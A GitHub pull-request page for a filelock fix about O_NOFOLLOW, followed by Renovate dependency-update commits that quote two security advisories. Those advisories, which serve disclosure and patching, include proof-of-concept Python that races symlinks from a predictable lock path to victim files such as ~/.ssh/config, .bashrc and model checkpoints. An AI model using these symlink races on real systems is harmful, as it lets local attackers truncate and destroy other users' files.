-
-
Notifications
You must be signed in to change notification settings - Fork 125
Support Unix systems without O_NOFOLLOW #463
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Merged
Merged
+4
−1
Conversation
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Acquiring a lock uses the `O_NOFOLLOW` flag when calling `open`. However, this flag is not available on all platforms, such as GraalPy, causing an `AttributeError` to be raised when attempting to acquire a lock. According to the Python docs: > The above constants are extensions and not present if they are not > defined by the C library. This handles such platforms by checking for the presence of the `O_NOFOLLOW` flag first.
abfcba4 to
4f3a630
Compare
gaborbernat
approved these changes
Jan 2, 2026
Member
gaborbernat
left a comment
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
LGTM
Contributor
Author
|
Thanks! |
ansibuddy
pushed a commit
to ansible/molecule
that referenced
this pull request
Jan 5, 2026
This PR contains the following updates: | Package | Type | Update | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---|---|---| | [astral-sh/uv-pre-commit](https://redirect.github.com/astral-sh/uv-pre-commit) | repository | patch | `0.9.18` → `0.9.21` |  |  | | [filelock](https://redirect.github.com/tox-dev/py-filelock) | dependency-groups | patch | `3.20.1` → `3.20.2` |  |  | | [rhysd/actionlint](https://redirect.github.com/rhysd/actionlint) | repository | patch | `v1.7.9` → `v1.7.10` |  |  | | [tombi-toml/tombi-pre-commit](https://redirect.github.com/tombi-toml/tombi-pre-commit) | repository | patch | `v0.7.11` → `v0.7.14` |  |  | | | | lockFileMaintenance | All locks refreshed | | | | [tox](https://redirect.github.com/tox-dev/tox) ([changelog](https://tox.wiki/en/latest/changelog.html)) | dependency-groups | minor | `4.32.0` → `4.33.0` |  |  | Note: The `pre-commit` manager in Renovate is not supported by the `pre-commit` maintainers or community. Please do not report any problems there, instead [create a Discussion in the Renovate repository](https://redirect.github.com/renovatebot/renovate/discussions/new) if you have any questions. --- ### Release Notes <details> <summary>astral-sh/uv-pre-commit (astral-sh/uv-pre-commit)</summary> ### [`v0.9.21`](https://redirect.github.com/astral-sh/uv-pre-commit/releases/tag/0.9.21) [Compare Source](https://redirect.github.com/astral-sh/uv-pre-commit/compare/0.9.20...0.9.21) See: <https://github.com/astral-sh/uv/releases/tag/0.9.21> ### [`v0.9.20`](https://redirect.github.com/astral-sh/uv-pre-commit/releases/tag/0.9.20) [Compare Source](https://redirect.github.com/astral-sh/uv-pre-commit/compare/0.9.19...0.9.20) See: <https://github.com/astral-sh/uv/releases/tag/0.9.20> ### [`v0.9.19`](https://redirect.github.com/astral-sh/uv-pre-commit/releases/tag/0.9.19) [Compare Source](https://redirect.github.com/astral-sh/uv-pre-commit/compare/0.9.18...0.9.19) See: <https://github.com/astral-sh/uv/releases/tag/0.9.19> </details> <details> <summary>tox-dev/py-filelock (filelock)</summary> ### [`v3.20.2`](https://redirect.github.com/tox-dev/filelock/releases/tag/3.20.2) [Compare Source](https://redirect.github.com/tox-dev/py-filelock/compare/3.20.1...3.20.2) <!-- Release notes generated using configuration in .github/release.yml at main --> #### What's Changed - Support Unix systems without O\_NOFOLLOW by [@​mwilliamson](https://redirect.github.com/mwilliamson) in [tox-dev/filelock#463](https://redirect.github.com/tox-dev/filelock/pull/463) - \[pre-commit.ci] pre-commit autoupdate by [@​pre-commit-ci](https://redirect.github.com/pre-commit-ci)\[bot] in [tox-dev/filelock#464](https://redirect.github.com/tox-dev/filelock/pull/464) #### New Contributors - [@​mwilliamson](https://redirect.github.com/mwilliamson) made their first contribution in [tox-dev/filelock#463](https://redirect.github.com/tox-dev/filelock/pull/463) **Full Changelog**: <tox-dev/filelock@3.20.1...3.20.2> </details> <details> <summary>rhysd/actionlint (rhysd/actionlint)</summary> ### [`v1.7.10`](https://redirect.github.com/rhysd/actionlint/blob/HEAD/CHANGELOG.md#v1710---2025-12-30) [Compare Source](https://redirect.github.com/rhysd/actionlint/compare/v1.7.9...v1.7.10) - Support [YAML anchors and aliases](https://yaml.org/spec/1.2.2/#​71-alias-nodes) (`&anchor` and `*anchor`) in workflow files. In addition to parsing YAML anchors correctly, actionlint checks unused and undefined anchors. See the [document](https://redirect.github.com/rhysd/actionlint/blob/main/docs/checks.md#yaml-anchors) for more details. ([#​133](https://redirect.github.com/rhysd/actionlint/issues/133), thanks [@​srz-zumix](https://redirect.github.com/srz-zumix) for the initial implementation at [#​568](https://redirect.github.com/rhysd/actionlint/issues/568) and [@​alexaandru](https://redirect.github.com/alexaandru) for trying another approach at [#​557](https://redirect.github.com/rhysd/actionlint/issues/557)) ```yaml jobs: test: runs-on: ubuntu-latest services: nginx: image: nginx:latest credentials: &credentials username: ${{ secrets.user }} password: ${{ secrets.password }} steps: - run: ./download.sh # OK: Valid alias to &credentials env: *credentials - run: ./check.sh # ERROR: Undefined anchor 'credential' env: *credential - run: ./upload.sh # ERROR: Unused anchor 'credentials' env: &credentials ``` - Remove support for `*-xl` macOS runner labels because they were [dropped](https://github.blog/changelog/2024-08-19-notice-of-upcoming-deprecations-and-breaking-changes-in-github-actions-runners/). ([#​592](https://redirect.github.com/rhysd/actionlint/issues/592), thanks [@​muzimuzhi](https://redirect.github.com/muzimuzhi)) - Remove support for the macOS 13 runner labels because they were [dropped on Dec 4, 2025](https://github.blog/changelog/2025-09-19-github-actions-macos-13-runner-image-is-closing-down/). ([#​593](https://redirect.github.com/rhysd/actionlint/issues/593), thanks [@​muzimuzhi](https://redirect.github.com/muzimuzhi)) - `macos-13` - `macos-13-large` - `macos-13-xlarge` - Increase the maximum number of inputs in the `workflow_dispatch` event from 10 to 25 because the limitation [was recently relaxed](https://github.blog/changelog/2025-12-04-actions-workflow-dispatch-workflows-now-support-25-inputs/). ([#​598](https://redirect.github.com/rhysd/actionlint/issues/598), thanks [@​Haegi](https://redirect.github.com/Haegi)) - Support [`artifact-metadata` permission](https://docs.github.com/en/actions/reference/workflows-and-actions/workflow-syntax#defining-access-for-the-github_token-scopes) for workflow permissions. ([#​602](https://redirect.github.com/rhysd/actionlint/issues/602), thanks [@​martincostello](https://redirect.github.com/martincostello)) - Detect more complicated constants at `if:` conditions as error. See the [rule document](https://redirect.github.com/rhysd/actionlint/blob/main/docs/checks.md#if-cond-constant) for more details. - Refactor the workflow parser with [Go iterators](https://pkg.go.dev/iter#hdr-Iterators). This slightly improves the performance and memory usage. - Fix parsing extra `{` and `}` characters in format string of `format()` function call. For example v1.7.9 didn't parse `"{{0} {1} {2}}"` correctly. - Detect an invalid value at `type` in workflow call inputs as error. - Report [YAML merge key](https://yaml.org/type/merge.html) `<<` as error because GitHub Actions doesn't support the syntax. - Check available contexts in expressions at `jobs.<job_id>.snapshot.if`. ```yaml snapshot: image-name: my-custom-image # ERROR: `env` context is not allowed here if: ${{ env.USE_SNAPSHOT == 'true' }} ``` - Fix the instruction to install actionlint with `mise` in the installation document. ([#​591](https://redirect.github.com/rhysd/actionlint/issues/591), thanks [@​risu729](https://redirect.github.com/risu729)) - Update the popular actions data set to the latest to include new major versions of the actions. \[Changes]\[v1.7.10] <a id="v1.7.9"></a> </details> <details> <summary>tombi-toml/tombi-pre-commit (tombi-toml/tombi-pre-commit)</summary> ### [`v0.7.14`](https://redirect.github.com/tombi-toml/tombi-pre-commit/releases/tag/v0.7.14) [Compare Source](https://redirect.github.com/tombi-toml/tombi-pre-commit/compare/v0.7.13...v0.7.14) See: <https://github.com/tombi-toml/tombi/releases/tag/v0.7.14> ### [`v0.7.13`](https://redirect.github.com/tombi-toml/tombi-pre-commit/releases/tag/v0.7.13) [Compare Source](https://redirect.github.com/tombi-toml/tombi-pre-commit/compare/v0.7.12...v0.7.13) See: <https://github.com/tombi-toml/tombi/releases/tag/v0.7.13> ### [`v0.7.12`](https://redirect.github.com/tombi-toml/tombi-pre-commit/releases/tag/v0.7.12) [Compare Source](https://redirect.github.com/tombi-toml/tombi-pre-commit/compare/v0.7.11...v0.7.12) See: <https://github.com/tombi-toml/tombi/releases/tag/v0.7.12> </details> <details> <summary>tox-dev/tox (tox)</summary> ### [`v4.33.0`](https://redirect.github.com/tox-dev/tox/releases/tag/4.33.0) [Compare Source](https://redirect.github.com/tox-dev/tox/compare/4.32.0...4.33.0) <!-- Release notes generated using configuration in .github/release.yml at 4.33.0 --> #### What's Changed - Pass LOCALAPPDATA by default on Windows ([#​3639](https://redirect.github.com/tox-dev/tox/issues/3639)) by [@​clint-lawrence](https://redirect.github.com/clint-lawrence) in [#​3640](https://redirect.github.com/tox-dev/tox/pull/3640) - Docs: Add caution about ranges like `py{39-314}` by [@​ferdnyc](https://redirect.github.com/ferdnyc) in [#​3652](https://redirect.github.com/tox-dev/tox/pull/3652) - CLI Parser: Drop epilog message for Sphinx help by [@​ferdnyc](https://redirect.github.com/ferdnyc) in [#​3653](https://redirect.github.com/tox-dev/tox/pull/3653) - 📚 Integrate `sphinx-issues` extension by [@​webknjaz](https://redirect.github.com/webknjaz) in [#​3655](https://redirect.github.com/tox-dev/tox/pull/3655) - Fix sphinx doc build by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [#​3662](https://redirect.github.com/tox-dev/tox/pull/3662) - feat: add conditional set\_env support via PEP-496 markers by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [#​3663](https://redirect.github.com/tox-dev/tox/pull/3663) #### New Contributors - [@​clint-lawrence](https://redirect.github.com/clint-lawrence) made their first contribution in [#​3640](https://redirect.github.com/tox-dev/tox/pull/3640) - [@​ferdnyc](https://redirect.github.com/ferdnyc) made their first contribution in [#​3652](https://redirect.github.com/tox-dev/tox/pull/3652) **Full Changelog**: <tox-dev/tox@4.32.0...4.33.0> </details> --- ### Configuration 📅 **Schedule**: Branch creation - "before 4am on monday" in timezone UTC, Automerge - Between 12:00 AM and 03:59 AM, only on Monday ( * 0-3 * * 1 ) in timezone UTC. 🚦 **Automerge**: Enabled. ♻ **Rebasing**: Whenever PR is behind base branch, or you tick the rebase/retry checkbox. 👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions) if that's undesired. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/ansible/molecule). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0Mi42OS4xIiwidXBkYXRlZEluVmVyIjoiNDIuNjkuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiY2hvcmUiLCJkZXBlbmRlbmNpZXMiXX0=--> Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
renovate bot
added a commit
to vortex-data/vortex
that referenced
this pull request
Feb 3, 2026
This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [filelock](https://redirect.github.com/tox-dev/py-filelock) | `3.20.0` → `3.20.3` |  |  | ### GitHub Vulnerability Alerts #### [CVE-2025-68146](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f) ### Impact A Time-of-Check-Time-of-Use (TOCTOU) race condition allows local attackers to corrupt or truncate arbitrary user files through symlink attacks. The vulnerability exists in both Unix and Windows lock file creation where filelock checks if a file exists before opening it with O_TRUNC. An attacker can create a symlink pointing to a victim file in the time gap between the check and open, causing os.open() to follow the symlink and truncate the target file. **Who is impacted:** All users of filelock on Unix, Linux, macOS, and Windows systems. The vulnerability cascades to dependent libraries: - **virtualenv users**: Configuration files can be overwritten with virtualenv metadata, leaking sensitive paths - **PyTorch users**: CPU ISA cache or model checkpoints can be corrupted, causing crashes or ML pipeline failures - **poetry/tox users**: through using virtualenv or filelock on their own. Attack requires local filesystem access and ability to create symlinks (standard user permissions on Unix; Developer Mode on Windows 10+). Exploitation succeeds within 1-3 attempts when lock file paths are predictable. ### Patches Fixed in version **3.20.1**. **Unix/Linux/macOS fix:** Added O_NOFOLLOW flag to os.open() in UnixFileLock.\_acquire() to prevent symlink following. **Windows fix:** Added GetFileAttributesW API check to detect reparse points (symlinks/junctions) before opening files in WindowsFileLock.\_acquire(). **Users should upgrade to filelock 3.20.1 or later immediately.** ### Workarounds If immediate upgrade is not possible: 1. Use SoftFileLock instead of UnixFileLock/WindowsFileLock (note: different locking semantics, may not be suitable for all use cases) 2. Ensure lock file directories have restrictive permissions (chmod 0700) to prevent untrusted users from creating symlinks 3. Monitor lock file directories for suspicious symlinks before running trusted applications **Warning:** These workarounds provide only partial mitigation. The race condition remains exploitable. Upgrading to version 3.20.1 is strongly recommended. ______________________________________________________________________ ## Technical Details: How the Exploit Works ### The Vulnerable Code Pattern **Unix/Linux/macOS** (`src/filelock/_unix.py:39-44`): ```python def _acquire(self) -> None: ensure_directory_exists(self.lock_file) open_flags = os.O_RDWR | os.O_TRUNC # (1) Prepare to truncate if not Path(self.lock_file).exists(): # (2) CHECK: Does file exist? open_flags |= os.O_CREAT fd = os.open(self.lock_file, open_flags, ...) # (3) USE: Open and truncate ``` **Windows** (`src/filelock/_windows.py:19-28`): ```python def _acquire(self) -> None: raise_on_not_writable_file(self.lock_file) # (1) Check writability ensure_directory_exists(self.lock_file) flags = os.O_RDWR | os.O_CREAT | os.O_TRUNC # (2) Prepare to truncate fd = os.open(self.lock_file, flags, ...) # (3) Open and truncate ``` ### The Race Window The vulnerability exists in the gap between operations: **Unix variant:** ``` Time Victim Thread Attacker Thread ---- ------------- --------------- T0 Check: lock_file exists? → False T1 ↓ RACE WINDOW T2 Create symlink: lock → victim_file T3 Open lock_file with O_TRUNC → Follows symlink → Opens victim_file → Truncates victim_file to 0 bytes! ☠️ ``` **Windows variant:** ``` Time Victim Thread Attacker Thread ---- ------------- --------------- T0 Check: lock_file writable? T1 ↓ RACE WINDOW T2 Create symlink: lock → victim_file T3 Open lock_file with O_TRUNC → Follows symlink/junction → Opens victim_file → Truncates victim_file to 0 bytes! ☠️ ``` ### Step-by-Step Attack Flow **1. Attacker Setup:** ```python # Attacker identifies target application using filelock lock_path = "/tmp/myapp.lock" # Predictable lock path victim_file = "/home/victim/.ssh/config" # High-value target ``` **2. Attacker Creates Race Condition:** ```python import os import threading def attacker_thread(): # Remove any existing lock file try: os.unlink(lock_path) except FileNotFoundError: pass # Create symlink pointing to victim file os.symlink(victim_file, lock_path) print(f"[Attacker] Created: {lock_path} → {victim_file}") # Launch attack threading.Thread(target=attacker_thread).start() ``` **3. Victim Application Runs:** ```python from filelock import UnixFileLock # Normal application code lock = UnixFileLock("/tmp/myapp.lock") lock.acquire() # ← VULNERABILITY TRIGGERED HERE # At this point, /home/victim/.ssh/config is now 0 bytes! ``` **4. What Happens Inside os.open():** On Unix systems, when `os.open()` is called: ```c // Linux kernel behavior (simplified) int open(const char *pathname, int flags) { struct file *f = path_lookup(pathname); // Resolves symlinks by default! if (flags & O_TRUNC) { truncate_file(f); // ← Truncates the TARGET of the symlink } return file_descriptor; } ``` Without `O_NOFOLLOW` flag, the kernel follows the symlink and truncates the target file. ### Why the Attack Succeeds Reliably **Timing Characteristics:** - **Check operation** (Path.exists()): ~100-500 nanoseconds - **Symlink creation** (os.symlink()): ~1-10 microseconds - **Race window**: ~1-5 microseconds (very small but exploitable) - **Thread scheduling quantum**: ~1-10 milliseconds **Success factors:** 1. **Tight loop**: Running attack in a loop hits the race window within 1-3 attempts 2. **CPU scheduling**: Modern OS thread schedulers frequently context-switch during I/O operations 3. **No synchronization**: No atomic file creation prevents the race 4. **Symlink speed**: Creating symlinks is extremely fast (metadata-only operation) ### Real-World Attack Scenarios **Scenario 1: virtualenv Exploitation** ```python # Victim runs: python -m venv /tmp/myenv # Attacker racing to create: os.symlink("/home/victim/.bashrc", "/tmp/myenv/pyvenv.cfg") # Result: /home/victim/.bashrc overwritten with: # home = /usr/bin/python3 # include-system-site-packages = false # version = 3.11.2 # ← Original .bashrc contents LOST + virtualenv metadata LEAKED to attacker ``` **Scenario 2: PyTorch Cache Poisoning** ```python # Victim runs: import torch # PyTorch checks CPU capabilities, uses filelock on cache # Attacker racing to create: os.symlink("/home/victim/.torch/compiled_model.pt", "/home/victim/.cache/torch/cpu_isa_check.lock") # Result: Trained ML model checkpoint truncated to 0 bytes # Impact: Weeks of training lost, ML pipeline DoS ``` ### Why Standard Defenses Don't Help **File permissions don't prevent this:** - Attacker doesn't need write access to victim_file - os.open() with O_TRUNC follows symlinks using the *victim's* permissions - The victim process truncates its own file **Directory permissions help but aren't always feasible:** - Lock files often created in shared /tmp directory (mode 1777) - Applications may not control lock file location - Many apps use predictable paths in user-writable directories **File locking doesn't prevent this:** - The truncation happens *during* the open() call, before any lock is acquired - fcntl.flock() only prevents concurrent lock acquisition, not symlink attacks ### Exploitation Proof-of-Concept Results From empirical testing with the provided PoCs: **Simple Direct Attack** (`filelock_simple_poc.py`): - Success rate: 33% per attempt (1 in 3 tries) - Average attempts to success: 2.1 - Target file reduced to 0 bytes in \<100ms **virtualenv Attack** (`weaponized_virtualenv.py`): - Success rate: ~90% on first attempt (deterministic timing) - Information leaked: File paths, Python version, system configuration - Data corruption: Complete loss of original file contents **PyTorch Attack** (`weaponized_pytorch.py`): - Success rate: 25-40% per attempt - Impact: Application crashes, model loading failures - Recovery: Requires cache rebuild or model retraining **Discovered and reported by:** George Tsigourakos (@​tsigouris007) #### [CVE-2026-22701](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw) ## Vulnerability Summary **Title:** Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in SoftFileLock **Affected Component:** `filelock` package - `SoftFileLock` class **File:** `src/filelock/_soft.py` lines 17-27 **CWE:** CWE-362, CWE-367, CWE-59 --- ## Description A TOCTOU race condition vulnerability exists in the `SoftFileLock` implementation of the filelock package. An attacker with local filesystem access and permission to create symlinks can exploit a race condition between the permission validation and file creation to cause lock operations to fail or behave unexpectedly. The vulnerability occurs in the `_acquire()` method between `raise_on_not_writable_file()` (permission check) and `os.open()` (file creation). During this race window, an attacker can create a symlink at the lock file path, potentially causing the lock to operate on an unintended target file or leading to denial of service. ### Attack Scenario ``` 1. Lock attempts to acquire on /tmp/app.lock 2. Permission validation passes 3. [RACE WINDOW] - Attacker creates: ln -s /tmp/important.txt /tmp/app.lock 4. os.open() tries to create lock file 5. Lock operates on attacker-controlled target file or fails ``` --- ## Impact _What kind of vulnerability is it? Who is impacted?_ This is a **Time-of-Check-Time-of-Use (TOCTOU) race condition vulnerability** affecting any application using `SoftFileLock` for inter-process synchronization. **Affected Users:** - Applications using `filelock.SoftFileLock` directly - Applications using the fallback `FileLock` on systems without `fcntl` support (e.g., GraalPy) **Consequences:** - **Silent lock acquisition failure** - applications may not detect that exclusive resource access is not guaranteed - **Denial of Service** - attacker can prevent lock file creation by maintaining symlink - **Resource serialization failures** - multiple processes may acquire "locks" simultaneously - **Unintended file operations** - lock could operate on attacker-controlled files **CVSS v4.0 Score:** 5.6 (Medium) **Vector:** CVSS:4.0/AV:L/AT:L/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N **Attack Requirements:** - Local filesystem access to the directory containing lock files - Permission to create symlinks (standard for regular unprivileged users on Unix/Linux) - Ability to time the symlink creation during the narrow race window --- ## Patches _Has the problem been patched? What versions should users upgrade to?_ Yes, the vulnerability has been patched by adding the `O_NOFOLLOW` flag to prevent symlink following during lock file creation. **Patched Version:** Next release (commit: 255ed068bc85d1ef406e50a135e1459170dd1bf0) **Mitigation Details:** - The `O_NOFOLLOW` flag is added conditionally and gracefully degrades on platforms without support - On platforms with `O_NOFOLLOW` support (most modern systems): symlink attacks are completely prevented - On platforms without `O_NOFOLLOW` (e.g., GraalPy): TOCTOU window remains but is documented **Users should:** - Upgrade to the patched version when available - For critical deployments, consider using `UnixFileLock` or `WindowsFileLock` instead of the fallback `SoftFileLock` --- ## Workarounds _Is there a way for users to fix or remediate the vulnerability without upgrading?_ For users unable to update immediately: 1. **Avoid `SoftFileLock` in security-sensitive contexts** - use `UnixFileLock` or `WindowsFileLock` when available (these were already patched for CVE-2025-68146) 2. **Restrict filesystem permissions** - prevent untrusted users from creating symlinks in lock file directories: ```bash chmod 700 /path/to/lock/directory ``` 3. **Use process isolation** - isolate untrusted code from lock file paths to prevent symlink creation 4. **Monitor lock operations** - implement application-level checks to verify lock acquisitions are successful before proceeding with critical operations --- ## References _Are there any links users can visit to find out more?_ - **Similar Vulnerability:** CVE-2025-68146 (TOCTOU vulnerability in UnixFileLock/WindowsFileLock) - **CWE-362 (Concurrent Execution using Shared Resource):** https://cwe.mitre.org/data/definitions/362.html - **CWE-367 (Time-of-check Time-of-use Race Condition):** https://cwe.mitre.org/data/definitions/367.html - **CWE-59 (Improper Link Resolution Before File Access):** https://cwe.mitre.org/data/definitions/59.html - **O_NOFOLLOW documentation:** https://man7.org/linux/man-pages/man2/open.2.html - **GitHub Repository:** https://github.com/tox-dev/filelock --- **Reported by:** George Tsigourakos (@​tsigouris007) --- ### Release Notes <details> <summary>tox-dev/py-filelock (filelock)</summary> ### [`v3.20.3`](https://redirect.github.com/tox-dev/filelock/releases/tag/3.20.3) [Compare Source](https://redirect.github.com/tox-dev/py-filelock/compare/3.20.2...3.20.3) <!-- Release notes generated using configuration in .github/release.yml at main --> #### What's Changed - Fix TOCTOU symlink vulnerability in SoftFileLock by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#465](https://redirect.github.com/tox-dev/filelock/pull/465) **Full Changelog**: <tox-dev/filelock@3.20.2...3.20.3> ### [`v3.20.2`](https://redirect.github.com/tox-dev/filelock/releases/tag/3.20.2) [Compare Source](https://redirect.github.com/tox-dev/py-filelock/compare/3.20.1...3.20.2) <!-- Release notes generated using configuration in .github/release.yml at main --> ##### What's Changed - Support Unix systems without O\_NOFOLLOW by [@​mwilliamson](https://redirect.github.com/mwilliamson) in [tox-dev/filelock#463](https://redirect.github.com/tox-dev/filelock/pull/463) - \[pre-commit.ci] pre-commit autoupdate by [@​pre-commit-ci](https://redirect.github.com/pre-commit-ci)\[bot] in [tox-dev/filelock#464](https://redirect.github.com/tox-dev/filelock/pull/464) ##### New Contributors - [@​mwilliamson](https://redirect.github.com/mwilliamson) made their first contribution in [tox-dev/filelock#463](https://redirect.github.com/tox-dev/filelock/pull/463) **Full Changelog**: <tox-dev/filelock@3.20.1...3.20.2> ### [`v3.20.1`](https://redirect.github.com/tox-dev/filelock/releases/tag/3.20.1) [Compare Source](https://redirect.github.com/tox-dev/py-filelock/compare/3.20.0...3.20.1) <!-- Release notes generated using configuration in .github/release.yml at main --> #### What's Changed - CVE-2025-68146: Fix TOCTOU symlink vulnerability in lock file creation by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#461](https://redirect.github.com/tox-dev/filelock/pull/461) **Full Changelog**: <tox-dev/filelock@3.20.0...3.20.1> </details> --- ### Configuration 📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no schedule defined). 🚦 **Automerge**: Enabled. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/vortex-data/vortex). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0Mi45NS4yIiwidXBkYXRlZEluVmVyIjoiNDIuOTUuMiIsInRhcmdldEJyYW5jaCI6ImRldmVsb3AiLCJsYWJlbHMiOlsiY2hhbmdlbG9nL2Nob3JlIl19--> Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
danking
pushed a commit
to vortex-data/vortex
that referenced
this pull request
Feb 6, 2026
This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [filelock](https://redirect.github.com/tox-dev/py-filelock) | `3.20.0` → `3.20.3` |  |  | ### GitHub Vulnerability Alerts #### [CVE-2025-68146](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f) ### Impact A Time-of-Check-Time-of-Use (TOCTOU) race condition allows local attackers to corrupt or truncate arbitrary user files through symlink attacks. The vulnerability exists in both Unix and Windows lock file creation where filelock checks if a file exists before opening it with O_TRUNC. An attacker can create a symlink pointing to a victim file in the time gap between the check and open, causing os.open() to follow the symlink and truncate the target file. **Who is impacted:** All users of filelock on Unix, Linux, macOS, and Windows systems. The vulnerability cascades to dependent libraries: - **virtualenv users**: Configuration files can be overwritten with virtualenv metadata, leaking sensitive paths - **PyTorch users**: CPU ISA cache or model checkpoints can be corrupted, causing crashes or ML pipeline failures - **poetry/tox users**: through using virtualenv or filelock on their own. Attack requires local filesystem access and ability to create symlinks (standard user permissions on Unix; Developer Mode on Windows 10+). Exploitation succeeds within 1-3 attempts when lock file paths are predictable. ### Patches Fixed in version **3.20.1**. **Unix/Linux/macOS fix:** Added O_NOFOLLOW flag to os.open() in UnixFileLock.\_acquire() to prevent symlink following. **Windows fix:** Added GetFileAttributesW API check to detect reparse points (symlinks/junctions) before opening files in WindowsFileLock.\_acquire(). **Users should upgrade to filelock 3.20.1 or later immediately.** ### Workarounds If immediate upgrade is not possible: 1. Use SoftFileLock instead of UnixFileLock/WindowsFileLock (note: different locking semantics, may not be suitable for all use cases) 2. Ensure lock file directories have restrictive permissions (chmod 0700) to prevent untrusted users from creating symlinks 3. Monitor lock file directories for suspicious symlinks before running trusted applications **Warning:** These workarounds provide only partial mitigation. The race condition remains exploitable. Upgrading to version 3.20.1 is strongly recommended. ______________________________________________________________________ ## Technical Details: How the Exploit Works ### The Vulnerable Code Pattern **Unix/Linux/macOS** (`src/filelock/_unix.py:39-44`): ```python def _acquire(self) -> None: ensure_directory_exists(self.lock_file) open_flags = os.O_RDWR | os.O_TRUNC # (1) Prepare to truncate if not Path(self.lock_file).exists(): # (2) CHECK: Does file exist? open_flags |= os.O_CREAT fd = os.open(self.lock_file, open_flags, ...) # (3) USE: Open and truncate ``` **Windows** (`src/filelock/_windows.py:19-28`): ```python def _acquire(self) -> None: raise_on_not_writable_file(self.lock_file) # (1) Check writability ensure_directory_exists(self.lock_file) flags = os.O_RDWR | os.O_CREAT | os.O_TRUNC # (2) Prepare to truncate fd = os.open(self.lock_file, flags, ...) # (3) Open and truncate ``` ### The Race Window The vulnerability exists in the gap between operations: **Unix variant:** ``` Time Victim Thread Attacker Thread ---- ------------- --------------- T0 Check: lock_file exists? → False T1 ↓ RACE WINDOW T2 Create symlink: lock → victim_file T3 Open lock_file with O_TRUNC → Follows symlink → Opens victim_file → Truncates victim_file to 0 bytes! ☠️ ``` **Windows variant:** ``` Time Victim Thread Attacker Thread ---- ------------- --------------- T0 Check: lock_file writable? T1 ↓ RACE WINDOW T2 Create symlink: lock → victim_file T3 Open lock_file with O_TRUNC → Follows symlink/junction → Opens victim_file → Truncates victim_file to 0 bytes! ☠️ ``` ### Step-by-Step Attack Flow **1. Attacker Setup:** ```python # Attacker identifies target application using filelock lock_path = "/tmp/myapp.lock" # Predictable lock path victim_file = "/home/victim/.ssh/config" # High-value target ``` **2. Attacker Creates Race Condition:** ```python import os import threading def attacker_thread(): # Remove any existing lock file try: os.unlink(lock_path) except FileNotFoundError: pass # Create symlink pointing to victim file os.symlink(victim_file, lock_path) print(f"[Attacker] Created: {lock_path} → {victim_file}") # Launch attack threading.Thread(target=attacker_thread).start() ``` **3. Victim Application Runs:** ```python from filelock import UnixFileLock # Normal application code lock = UnixFileLock("/tmp/myapp.lock") lock.acquire() # ← VULNERABILITY TRIGGERED HERE # At this point, /home/victim/.ssh/config is now 0 bytes! ``` **4. What Happens Inside os.open():** On Unix systems, when `os.open()` is called: ```c // Linux kernel behavior (simplified) int open(const char *pathname, int flags) { struct file *f = path_lookup(pathname); // Resolves symlinks by default! if (flags & O_TRUNC) { truncate_file(f); // ← Truncates the TARGET of the symlink } return file_descriptor; } ``` Without `O_NOFOLLOW` flag, the kernel follows the symlink and truncates the target file. ### Why the Attack Succeeds Reliably **Timing Characteristics:** - **Check operation** (Path.exists()): ~100-500 nanoseconds - **Symlink creation** (os.symlink()): ~1-10 microseconds - **Race window**: ~1-5 microseconds (very small but exploitable) - **Thread scheduling quantum**: ~1-10 milliseconds **Success factors:** 1. **Tight loop**: Running attack in a loop hits the race window within 1-3 attempts 2. **CPU scheduling**: Modern OS thread schedulers frequently context-switch during I/O operations 3. **No synchronization**: No atomic file creation prevents the race 4. **Symlink speed**: Creating symlinks is extremely fast (metadata-only operation) ### Real-World Attack Scenarios **Scenario 1: virtualenv Exploitation** ```python # Victim runs: python -m venv /tmp/myenv # Attacker racing to create: os.symlink("/home/victim/.bashrc", "/tmp/myenv/pyvenv.cfg") # Result: /home/victim/.bashrc overwritten with: # home = /usr/bin/python3 # include-system-site-packages = false # version = 3.11.2 # ← Original .bashrc contents LOST + virtualenv metadata LEAKED to attacker ``` **Scenario 2: PyTorch Cache Poisoning** ```python # Victim runs: import torch # PyTorch checks CPU capabilities, uses filelock on cache # Attacker racing to create: os.symlink("/home/victim/.torch/compiled_model.pt", "/home/victim/.cache/torch/cpu_isa_check.lock") # 